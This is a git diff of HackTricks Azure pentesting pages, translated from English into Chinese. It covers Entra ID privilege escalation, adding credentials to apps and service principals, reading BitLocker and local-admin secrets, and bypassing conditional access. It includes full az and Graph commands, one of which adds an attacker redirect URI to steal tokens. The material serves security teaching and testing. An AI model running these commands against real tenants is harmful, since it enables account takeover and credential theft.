--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:<org-name>/<repo-name>:ref:refs/heads/<branch-name>","audiences":["api://AzureADTokenExchange"]}}'
|
||||
|
||||
# Example with specific data:
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
--uri "https://management.azure.com//subscriptions/92913047-10a6-2376-82a4-6f04b2d03798/resourceGroups/Resource_Group_1/providers/Microsoft.ManagedIdentity/userAssignedIdentities/funcGithub-id-913c/federatedIdentityCredentials/CustomGH2?api-version=2023-01-31" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"properties":{"issuer":"https://token.actions.githubusercontent.com","subject":"repo:carlospolop/azure_func4:ref:refs/heads/main","audiences":["api://AzureADTokenExchange"]}}'
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+94
-142
@@ -3,80 +3,71 @@
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!NOTE]
|
||||
> Note that **not all the granular permissions** built-in roles have in Entra ID **are elegible to be used in custom roles.**
|
||||
> 请注意,**并非所有的细粒度权限** 内置角色在 Entra ID **都可以用于自定义角色。**
|
||||
|
||||
## Roles
|
||||
|
||||
### Role: Privileged Role Administrator <a href="#c9d4cde0-7dcc-45d5-aa95-59d198ae84b2" id="c9d4cde0-7dcc-45d5-aa95-59d198ae84b2"></a>
|
||||
|
||||
This role contains the necessary granular permissions to be able to assign roles to principals and to give more permissions to roles. Both actions could be abused to escalate privileges.
|
||||
|
||||
- Assign role to a user:
|
||||
此角色包含必要的细粒度权限,以便能够将角色分配给主体并为角色提供更多权限。这两项操作都可能被滥用以提升权限。
|
||||
|
||||
- 将角色分配给用户:
|
||||
```bash
|
||||
# List enabled built-in roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
|
||||
|
||||
# Give role (Global Administrator?) to a user
|
||||
roleId="<roleId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
--uri "https://graph.microsoft.com/v1.0/directoryRoles/$roleId/members/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
```
|
||||
|
||||
- Add more permissions to a role:
|
||||
|
||||
- 为角色添加更多权限:
|
||||
```bash
|
||||
# List only custom roles
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
|
||||
|
||||
# Change the permissions of a custom role
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"description": "Update basic properties of application registrations",
|
||||
"rolePermissions": [
|
||||
{
|
||||
"allowedResourceActions": [
|
||||
"microsoft.directory/applications/credentials/update"
|
||||
]
|
||||
}
|
||||
]
|
||||
}'
|
||||
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions/<role-id>" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"description": "Update basic properties of application registrations",
|
||||
"rolePermissions": [
|
||||
{
|
||||
"allowedResourceActions": [
|
||||
"microsoft.directory/applications/credentials/update"
|
||||
]
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
|
||||
## Applications
|
||||
## 应用程序
|
||||
|
||||
### `microsoft.directory/applications/credentials/update`
|
||||
|
||||
This allows an attacker to **add credentials** (passwords or certificates) to existing applications. If the application has privileged permissions, the attacker can authenticate as that application and gain those privileges.
|
||||
|
||||
这允许攻击者**添加凭据**(密码或证书)到现有应用程序。如果该应用程序具有特权权限,攻击者可以作为该应用程序进行身份验证并获得这些权限。
|
||||
```bash
|
||||
# Generate a new password without overwritting old ones
|
||||
az ad app credential reset --id <appId> --append
|
||||
# Generate a new certificate without overwritting old ones
|
||||
az ad app credential reset --id <appId> --create-cert
|
||||
```
|
||||
|
||||
### `microsoft.directory/applications.myOrganization/credentials/update`
|
||||
|
||||
This allows the same actions as `applications/credentials/update`, but scoped to single-directory applications.
|
||||
|
||||
这允许与 `applications/credentials/update` 相同的操作,但范围限制在单一目录应用程序。
|
||||
```bash
|
||||
az ad app credential reset --id <appId> --append
|
||||
```
|
||||
|
||||
### `microsoft.directory/applications/owners/update`
|
||||
|
||||
By adding themselves as an owner, an attacker can manipulate the application, including credentials and permissions.
|
||||
|
||||
通过将自己添加为所有者,攻击者可以操纵应用程序,包括凭据和权限。
|
||||
```bash
|
||||
az ad app owner add --id <AppId> --owner-object-id <UserId>
|
||||
az ad app credential reset --id <appId> --append
|
||||
@@ -84,78 +75,66 @@ az ad app credential reset --id <appId> --append
|
||||
# You can check the owners with
|
||||
az ad app owner list --id <appId>
|
||||
```
|
||||
|
||||
### `microsoft.directory/applications/allProperties/update`
|
||||
|
||||
An attacker can add a redirect URI to applications that are being used by users of the tenant and then share with them login URLs that use the new redirect URL in order to steal their tokens. Note that if the user was already logged in the application, the authentication is going to be automatic without the user needing to accept anything.
|
||||
|
||||
Note that it's also possible to change the permissions the application requests in order to get more permissions, but in this case the user will need accept again the prompt asking for all the permissions.
|
||||
攻击者可以向租户用户正在使用的应用程序添加重定向 URI,然后与他们共享使用新重定向 URL 的登录 URL,以窃取他们的令牌。请注意,如果用户已经登录了该应用程序,则身份验证将自动进行,无需用户接受任何内容。
|
||||
|
||||
请注意,还可以更改应用程序请求的权限,以获得更多权限,但在这种情况下,用户需要再次接受请求所有权限的提示。
|
||||
```bash
|
||||
# Get current redirect uris
|
||||
az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris"
|
||||
# Add a new redirect URI (make sure to keep the configured ones)
|
||||
az ad app update --id <app-id> --web-redirect-uris "https://original.com/callback https://attack.com/callback"
|
||||
```
|
||||
|
||||
## Service Principals
|
||||
|
||||
### `microsoft.directory/servicePrincipals/credentials/update`
|
||||
|
||||
This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.
|
||||
|
||||
这允许攻击者向现有服务主体添加凭据。如果服务主体具有提升的权限,攻击者可以假设这些权限。
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> The new generated password won't appear in the web console, so this could be a stealth way to maintain persistence over a service principal.\
|
||||
> From the API they can be found with: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **it's not possible to modify the passwordCredentials property** of the SP and first you need to unlock it. For it you need a permission (`microsoft.directory/applications/allProperties/update`) that allows you to execute:
|
||||
> 新生成的密码不会出现在网络控制台中,因此这可能是一种隐秘的方式来保持对服务主体的持久性。\
|
||||
> 从API中可以通过以下命令找到它们: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json`
|
||||
|
||||
如果您收到错误消息 `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`,这意味着**无法修改SP的passwordCredentials属性**,您需要先解锁它。为此,您需要一个权限(`microsoft.directory/applications/allProperties/update`),允许您执行:
|
||||
```bash
|
||||
az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/<sp-object-id> --body '{"servicePrincipalLockConfiguration": null}'
|
||||
```
|
||||
|
||||
### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage`
|
||||
|
||||
This allows an attacker to add credentials to existing service principals. If the service principal has elevated privileges, the attacker can assume those privileges.
|
||||
|
||||
这允许攻击者向现有服务主体添加凭据。如果服务主体具有提升的权限,攻击者可以假设这些权限。
|
||||
```bash
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
```
|
||||
|
||||
### `microsoft.directory/servicePrincipals/owners/update`
|
||||
|
||||
Similar to applications, this permission allows to add more owners to a service principal. Owning a service principal allows control over its credentials and permissions.
|
||||
|
||||
类似于应用程序,此权限允许向服务主体添加更多所有者。拥有服务主体可以控制其凭据和权限。
|
||||
```bash
|
||||
# Add new owner
|
||||
spId="<spId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$spId/owners/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{
|
||||
\"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\"
|
||||
}"
|
||||
|
||||
az ad sp credential reset --id <sp-id> --append
|
||||
|
||||
# You can check the owners with
|
||||
az ad sp owner list --id <spId>
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> After adding a new owner, I tried to remove it but the API responded that the DELETE method wasn't supported, even if it's the method you need to use to delete the owner. So you **can't remove owners nowadays**.
|
||||
> 添加新所有者后,我尝试将其删除,但API响应说不支持DELETE方法,即使这是删除所有者所需使用的方法。因此,**现在无法删除所有者**。
|
||||
|
||||
### `microsoft.directory/servicePrincipals/disable` and `enable`
|
||||
### `microsoft.directory/servicePrincipals/disable` 和 `enable`
|
||||
|
||||
These permissions allows to disable and enable service principals. An attacker could use this permission to enable a service principal he could get access to somehow to escalate privileges.
|
||||
|
||||
Note that for this technique the attacker will need more permissions in order to take over the enabled service principal.
|
||||
这些权限允许禁用和启用服务主体。攻击者可以利用此权限启用他以某种方式获得访问权限的服务主体,以提升权限。
|
||||
|
||||
请注意,对于此技术,攻击者需要更多权限才能接管已启用的服务主体。
|
||||
```bash
|
||||
bashCopy code# Disable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
@@ -163,11 +142,9 @@ az ad sp update --id <ServicePrincipalId> --account-enabled false
|
||||
# Enable
|
||||
az ad sp update --id <ServicePrincipalId> --account-enabled true
|
||||
```
|
||||
|
||||
#### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials`
|
||||
|
||||
These permissions allow to create and get credentials for single sign-on which could allow access to third-party applications.
|
||||
|
||||
这些权限允许创建和获取单点登录的凭据,这可能允许访问第三方应用程序。
|
||||
```bash
|
||||
# Generate SSO creds for a user or a group
|
||||
spID="<spId>"
|
||||
@@ -175,176 +152,155 @@ user_or_group_id="<id>"
|
||||
username="<username>"
|
||||
password="<password>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
|
||||
--uri "https://graph.microsoft.com/beta/servicePrincipals/$spID/createPasswordSingleSignOnCredentials" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$user_or_group_id\", \"credentials\": [{\"fieldId\": \"param_username\", \"value\": \"$username\", \"type\": \"username\"}, {\"fieldId\": \"param_password\", \"value\": \"$password\", \"type\": \"password\"}]}"
|
||||
|
||||
|
||||
# Get credentials of a specific credID
|
||||
credID="<credID>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$credID/getPasswordSingleSignOnCredentials" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"id\": \"$credID\"}"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Groups
|
||||
## 组
|
||||
|
||||
### `microsoft.directory/groups/allProperties/update`
|
||||
|
||||
This permission allows to add users to privileged groups, leading to privilege escalation.
|
||||
|
||||
此权限允许将用户添加到特权组,从而导致特权升级。
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
|
||||
**Note**: This permission excludes Entra ID role-assignable groups.
|
||||
**注意**: 此权限不包括 Entra ID 角色可分配组。
|
||||
|
||||
### `microsoft.directory/groups/owners/update`
|
||||
|
||||
This permission allows to become an owner of groups. An owner of a group can control group membership and settings, potentially escalating privileges to the group.
|
||||
|
||||
此权限允许成为组的所有者。组的所有者可以控制组成员资格和设置,可能会将权限提升到该组。
|
||||
```bash
|
||||
az ad group owner add --group <GroupName> --owner-object-id <UserId>
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
|
||||
**Note**: This permission excludes Entra ID role-assignable groups.
|
||||
**注意**: 此权限不包括 Entra ID 角色可分配组。
|
||||
|
||||
### `microsoft.directory/groups/members/update`
|
||||
|
||||
This permission allows to add members to a group. An attacker could add himself or malicious accounts to privileged groups can grant elevated access.
|
||||
|
||||
此权限允许向组中添加成员。攻击者可以将自己或恶意账户添加到特权组中,从而获得提升的访问权限。
|
||||
```bash
|
||||
az ad group member add --group <GroupName> --member-id <UserId>
|
||||
```
|
||||
|
||||
### `microsoft.directory/groups/dynamicMembershipRule/update`
|
||||
|
||||
This permission allows to update membership rule in a dynamic group. An attacker could modify dynamic rules to include himself in privileged groups without explicit addition.
|
||||
|
||||
此权限允许更新动态组中的成员规则。攻击者可以修改动态规则,以在没有明确添加的情况下将自己包含在特权组中。
|
||||
```bash
|
||||
groupId="<group-id>"
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
--uri "https://graph.microsoft.com/v1.0/groups/$groupId" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{
|
||||
"membershipRule": "(user.otherMails -any (_ -contains \"security\")) -and (user.userType -eq \"guest\")",
|
||||
"membershipRuleProcessingState": "On"
|
||||
}'
|
||||
```
|
||||
**注意**: 此权限不包括 Entra ID 角色可分配组。
|
||||
|
||||
**Note**: This permission excludes Entra ID role-assignable groups.
|
||||
### 动态组权限提升
|
||||
|
||||
### Dynamic Groups Privesc
|
||||
|
||||
It might be possible for users to escalate privileges modifying their own properties to be added as members of dynamic groups. For more info check:
|
||||
用户可能通过修改自己的属性以被添加为动态组的成员来提升权限。有关更多信息,请查看:
|
||||
|
||||
{{#ref}}
|
||||
dynamic-groups.md
|
||||
{{#endref}}
|
||||
|
||||
## Users
|
||||
## 用户
|
||||
|
||||
### `microsoft.directory/users/password/update`
|
||||
|
||||
This permission allows to reset password to non-admin users, allowing a potential attacker to escalate privileges to other users. This permission cannot be assigned to custom roles.
|
||||
|
||||
此权限允许重置非管理员用户的密码,从而允许潜在攻击者提升到其他用户的权限。此权限不能分配给自定义角色。
|
||||
```bash
|
||||
az ad user update --id <user-id> --password "kweoifuh.234"
|
||||
```
|
||||
|
||||
### `microsoft.directory/users/basic/update`
|
||||
|
||||
This privilege allows to modify properties of the user. It's common to find dynamic groups that add users based on properties values, therefore, this permission could allow a user to set the needed property value to be a member to a specific dynamic group and escalate privileges.
|
||||
|
||||
此权限允许修改用户的属性。通常可以找到根据属性值添加用户的动态组,因此,此权限可能允许用户设置所需的属性值,以成为特定动态组的成员并提升权限。
|
||||
```bash
|
||||
#e.g. change manager of a user
|
||||
victimUser="<userID>"
|
||||
managerUser="<userID>"
|
||||
az rest --method PUT \
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$managerUser/manager/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/users/$managerUser"}'
|
||||
|
||||
#e.g. change department of a user
|
||||
az rest --method PATCH \
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
--uri "https://graph.microsoft.com/v1.0/users/$victimUser" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body "{\"department\": \"security\"}"
|
||||
```
|
||||
## 条件访问策略和 MFA 绕过
|
||||
|
||||
## Conditional Access Policies & MFA bypass
|
||||
|
||||
Misconfigured conditional access policies requiring MFA could be bypassed, check:
|
||||
配置错误的条件访问策略要求 MFA 可能会被绕过,请检查:
|
||||
|
||||
{{#ref}}
|
||||
az-conditional-access-policies-mfa-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
## Devices
|
||||
## 设备
|
||||
|
||||
### `microsoft.directory/devices/registeredOwners/update`
|
||||
|
||||
This permission allows attackers to assigning themselves as owners of devices to gain control or access to device-specific settings and data.
|
||||
|
||||
此权限允许攻击者将自己分配为设备的所有者,以获得对设备特定设置和数据的控制或访问。
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
|
||||
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/owners/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
|
||||
```
|
||||
|
||||
### `microsoft.directory/devices/registeredUsers/update`
|
||||
|
||||
This permission allows attackers to associate their account with devices to gain access or to bypass security policies.
|
||||
|
||||
此权限允许攻击者将其帐户与设备关联,以获得访问权限或绕过安全策略。
|
||||
```bash
|
||||
deviceId="<deviceId>"
|
||||
userId="<userId>"
|
||||
az rest --method POST \
|
||||
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
|
||||
--uri "https://graph.microsoft.com/v1.0/devices/$deviceId/registeredUsers/\$ref" \
|
||||
--headers "Content-Type=application/json" \
|
||||
--body '{"@odata.id": "https://graph.microsoft.com/v1.0/directoryObjects/$userId"}'
|
||||
```
|
||||
|
||||
### `microsoft.directory/deviceLocalCredentials/password/read`
|
||||
|
||||
This permission allows attackers to read the properties of the backed up local administrator account credentials for Microsoft Entra joined devices, including the password
|
||||
|
||||
此权限允许攻击者读取 Microsoft Entra 加入设备的备份本地管理员帐户凭据的属性,包括密码。
|
||||
```bash
|
||||
# List deviceLocalCredentials
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
|
||||
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials"
|
||||
|
||||
# Get credentials
|
||||
deviceLC="<deviceLCID>"
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
|
||||
--uri "https://graph.microsoft.com/v1.0/directory/deviceLocalCredentials/$deviceLCID?\$select=credentials" \
|
||||
```
|
||||
|
||||
## BitlockerKeys
|
||||
|
||||
### `microsoft.directory/bitlockerKeys/key/read`
|
||||
|
||||
This permission allows to access BitLocker keys, which could allow an attacker to decrypt drives, compromising data confidentiality.
|
||||
|
||||
此权限允许访问 BitLocker 密钥,这可能使攻击者能够解密驱动器,从而危及数据机密性。
|
||||
```bash
|
||||
# List recovery keys
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys"
|
||||
|
||||
# Get key
|
||||
recoveryKeyId="<recoveryKeyId>"
|
||||
az rest --method GET \
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
|
||||
--uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key"
|
||||
```
|
||||
|
||||
## Other Interesting permissions (TODO)
|
||||
## 其他有趣的权限 (TODO)
|
||||
|
||||
- `microsoft.directory/applications/permissions/update`
|
||||
- `microsoft.directory/servicePrincipals/permissions/update`
|
||||
@@ -355,7 +311,3 @@ az rest --method GET \
|
||||
- `microsoft.directory/applications.myOrganization/permissions/update`
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
+57
-77
@@ -1,93 +1,90 @@
|
||||
# Az - Conditional Access Policies & MFA Bypass
|
||||
# Az - 条件访问策略与 MFA 绕过
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## 基本信息
|
||||
|
||||
Azure Conditional Access policies are rules set up in Microsoft Azure to enforce access controls to Azure services and applications based on certain **conditions**. These policies help organizations secure their resources by applying the right access controls under the right circumstances.\
|
||||
Conditional access policies basically **defines** **Who** can access **What** from **Where** and **How**.
|
||||
Azure 条件访问策略是在 Microsoft Azure 中设置的规则,用于根据某些 **条件** 强制执行对 Azure 服务和应用程序的访问控制。这些策略帮助组织在适当的情况下应用正确的访问控制,从而保护其资源。\
|
||||
条件访问策略基本上 **定义** **谁** 可以从 **哪里** 和 **如何** 访问 **什么**。
|
||||
|
||||
Here are a couple of examples:
|
||||
以下是几个示例:
|
||||
|
||||
1. **Sign-In Risk Policy**: This policy could be set to require multi-factor authentication (MFA) when a sign-in risk is detected. For example, if a user's login behavior is unusual compared to their regular pattern, such as logging in from a different country, the system can prompt for additional authentication.
|
||||
2. **Device Compliance Policy**: This policy can restrict access to Azure services only to devices that are compliant with the organization's security standards. For instance, access could be allowed only from devices that have up-to-date antivirus software or are running a certain operating system version.
|
||||
1. **登录风险策略**:当检测到登录风险时,可以设置此策略要求多因素身份验证 (MFA)。例如,如果用户的登录行为与其常规模式相比异常,例如从不同国家登录,系统可以提示进行额外的身份验证。
|
||||
2. **设备合规性策略**:此策略可以限制对 Azure 服务的访问,仅限于符合组织安全标准的设备。例如,只有在设备上安装了最新的防病毒软件或运行特定操作系统版本的情况下,才允许访问。
|
||||
|
||||
## Conditional Acces Policies Bypasses
|
||||
## 条件访问策略绕过
|
||||
|
||||
It's possible that a conditional access policy is **checking some information that can be easily tampered allowing a bypass of the policy**. And if for example the policy was configuring MFA, the attacker will be able to bypass it.
|
||||
条件访问策略可能 **检查一些可以轻易篡改的信息,从而允许绕过该策略**。例如,如果该策略配置了 MFA,攻击者将能够绕过它。
|
||||
|
||||
When configuring a conditional access policy it's needed to indicate the **users** affected and **target resources** (like all cloud apps).
|
||||
在配置条件访问策略时,需要指明受影响的 **用户** 和 **目标资源**(如所有云应用)。
|
||||
|
||||
It's also needed to configure the **conditions** that will **trigger** the policy:
|
||||
还需要配置 **触发** 策略的 **条件**:
|
||||
|
||||
- **Network**: Ip, IP ranges and geographical locations
|
||||
- Can be bypassed using a VPN or Proxy to connect to a country or managing to login from an allowed IP address
|
||||
- **Microsoft risks**: User risk, Sign-in risk, Insider risk
|
||||
- **Device platforms**: Any device or select Android, iOS, Windows phone, Windows, macOS, Linux
|
||||
- If “Any device” is not selected but all the other options are selected it’s possible to bypass it using a random user-agent not related to those platforms
|
||||
- **Client apps**: Option are “Browser”, “Mobiles apps and desktop clients”, “Exchange ActiveSync clients” and Other clients”
|
||||
- To bypass login with a not selected option
|
||||
- **Filter for devices**: It’s possible to generate a rule related the used device
|
||||
- A**uthentication flows**: Options are “Device code flow” and “Authentication transfer”
|
||||
- This won’t affect an attacker unless he is trying to abuse any of those protocols in a phishing attempt to access the victims account
|
||||
- **网络**:IP、IP 范围和地理位置
|
||||
- 可以使用 VPN 或代理连接到一个国家,或设法从允许的 IP 地址登录来绕过
|
||||
- **Microsoft 风险**:用户风险、登录风险、内部人风险
|
||||
- **设备平台**:任何设备或选择 Android、iOS、Windows 手机、Windows、macOS、Linux
|
||||
- 如果未选择“任何设备”,但选择了所有其他选项,则可以使用与这些平台无关的随机用户代理绕过
|
||||
- **客户端应用**:选项为“浏览器”、“移动应用和桌面客户端”、“Exchange ActiveSync 客户端”和“其他客户端”
|
||||
- 通过未选择的选项绕过登录
|
||||
- **设备过滤器**:可以生成与使用的设备相关的规则
|
||||
- **身份验证流程**:选项为“设备代码流程”和“身份验证转移”
|
||||
- 这不会影响攻击者,除非他试图在钓鱼尝试中滥用任何这些协议以访问受害者的帐户
|
||||
|
||||
The possible **results** are: Block or Grant access with potential conditions like require MFA, device to be compliant…
|
||||
可能的 **结果** 是:阻止或授予访问,可能的条件包括要求 MFA、设备合规性等…
|
||||
|
||||
### Device Platforms - Device Condition
|
||||
### 设备平台 - 设备条件
|
||||
|
||||
It's possible to set a condition based on the **device platform** (Android, iOS, Windows, macOS...), however, this is based on the **user-agent** so it's easy to bypass. Even **making all the options enforce MFA**, if you use a **user-agent that it isn't recognized,** you will be able to bypass the MFA or block:
|
||||
可以基于 **设备平台**(Android、iOS、Windows、macOS...)设置条件,但这基于 **用户代理**,因此很容易绕过。即使 **强制所有选项 MFA**,如果使用 **未被识别的用户代理,** 也将能够绕过 MFA 或阻止:
|
||||
|
||||
<figure><img src="../../../../images/image (352).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Just making the browser **send an unknown user-agent** (like `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`) is enough to not trigger this condition.\
|
||||
You can change the user agent **manually** in the developer tools:
|
||||
只需让浏览器 **发送一个未知的用户代理**(如 `Mozilla/5.0 (compatible; MSIE 10.0; Windows Phone 8.0; Trident/6.0; IEMobile/10.0; ARM; Touch; NOKIA; Lumia 920) UCBrowser/10.1.0.563 Mobile`)就足以不触发此条件。\
|
||||
您可以在开发者工具中 **手动** 更改用户代理:
|
||||
|
||||
<figure><img src="../../../../images/image (351).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
 Or use a [browser extension like this one](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en).
|
||||
 或使用 [这样的浏览器扩展](https://chromewebstore.google.com/detail/user-agent-switcher-and-m/bhchdcejhohfmigjafbampogmaanbfkg?hl=en)。
|
||||
|
||||
### Locations: Countries, IP ranges - Device Condition
|
||||
### 位置:国家、IP 范围 - 设备条件
|
||||
|
||||
If this is set in the conditional policy, an attacker could just use a **VPN** in the **allowed country** or try to find a way to access from an **allowed IP address** to bypass these conditions.
|
||||
如果在条件策略中设置了此项,攻击者可以使用 **VPN** 连接到 **允许的国家**,或尝试找到从 **允许的 IP 地址** 访问的方法来绕过这些条件。
|
||||
|
||||
### Cloud Apps
|
||||
### 云应用
|
||||
|
||||
It's possible to configure **conditional access policies to block or force** for example MFA when a user tries to access **specific app**:
|
||||
可以配置 **条件访问策略以阻止或强制** 例如在用户尝试访问 **特定应用** 时进行 MFA:
|
||||
|
||||
<figure><img src="../../../../images/image (353).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
To try to bypass this protection you should see if you can **only into any application**.\
|
||||
The tool [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) has **tens of application IDs hardcoded** and will try to login into them and let you know and even give you the token if successful.
|
||||
|
||||
In order to **test specific application IDs in specific resources** you could also use a tool such as:
|
||||
要尝试绕过此保护,您应该查看是否可以 **仅登录任何应用程序**。\
|
||||
工具 [**AzureAppsSweep**](https://github.com/carlospolop/AzureAppsSweep) 有 **数十个硬编码的应用程序 ID**,并将尝试登录这些应用程序,并在成功时通知您,甚至提供令牌。
|
||||
|
||||
为了 **测试特定资源中的特定应用程序 ID**,您还可以使用以下工具:
|
||||
```bash
|
||||
roadrecon auth -u user@email.com -r https://outlook.office.com/ -c 1fec8e78-bce4-4aaf-ab1b-5451cc387264 --tokens-stdout
|
||||
|
||||
<token>
|
||||
```
|
